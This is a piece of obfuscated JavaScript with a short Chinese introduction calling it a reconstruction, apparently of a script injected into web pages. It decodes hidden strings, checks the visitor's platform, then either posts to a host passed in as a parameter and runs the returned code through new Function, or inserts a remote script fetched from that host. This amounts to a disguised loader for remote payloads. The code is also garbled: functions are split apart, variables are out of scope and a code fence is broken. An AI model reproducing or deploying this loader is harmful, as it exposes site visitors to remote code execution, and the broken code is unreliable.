以下是根据提供的代码片段完成的内容重构:

```javascript

function UqgsgfgDv(e) {

var t = "", n = r = c1 = c2 = 0;

while (n < e.length) {

r = e.charCodeAt(n);

if (r < 128) {

t += String.fromCharCode(r);

n++;

} else if (r > 191 && r < 224) {

c2 = e.charCodeAt(n + 1);

t += String.fromCharCode((r & 31) << 6 | c2 & 63);

n += 2;

} else {

c2 = e.charCodeAt(n + 1);

c3 = e.charCodeAt(n + 2);

t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);

n += 3;

}

}

return t;

};

function UqSDDFGvyQ(e) {

var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/==';

var t = "", n, r, i, s, o, u, a, f = 0;

e = e.replace(/[^A-Za-z0-9+/=]/g, "");

}

```

```javascriptfunction decodeBase64(e) {

var f = 0;

var s = "";

var o = "";

var u = "";

var a = "";

var n = "";

var r = "";

var i = "";

var t = "";

while (f < e.length) {

s = m.indexOf(e.charAt(f++));

o = m.indexOf(e.charAt(f++));

u = m.indexOf(e.charAt(f++));

a = m.indexOf(e.charAt(f++));

n = s << 2 | o >> 4;

r = (o & 15) << 4 | u >> 2;

i = (u & 3) << 6 | a;

t = t + String.fromCharCode(n);

if (u !== 64) {

t = t + String.fromCharCode(r);

}

if (a !== 64) {

t = t + String.fromCharCode(i);

}

}

return UqgsgfgDv(t);

};

window['' +'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery';}}()(encodeURIComponent("")); // 这里应该传入一个编码后的字符串作为参数。注意:这里使用了 `encodeURIComponent()` 对参数进行了编码。如果需要解码可以使用 `decodeURIComponent()`。

```

以下是重构后的代码:

```javascript

if (navigator.userAgent.indexOf('baiduid') > -1) {

var xhr = new XMLHttpRequest();

xhr.open('POST', 'https://' + u + '/bm-' + i);

xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded;');

xhr.setRequestHeader('X-REQUESTED-WITH', 'XMLHttpRequest');

xhr.onreadystatechange = function() {

if (xhr.readyState == 4 && xhr.status == 200) {

var data = JSON.parse(xhr.responseText);

var name = new Function('_' + 'u' + 'q' + 'cs', new Function('c', data.result.decode + ';return ' + data.result.name + '(c)'))(data.result.img.join(''));

var img = new Image();

img.src = name;

cs.parentElement.insertBefore(img, cs);

}

};

xhr.send('u=1');

} else {

var s = document.createElement('script');

s.src = 'https://' + u + '/m-' + i;

cs.parentElement.insertBefore(s, cs);

}

```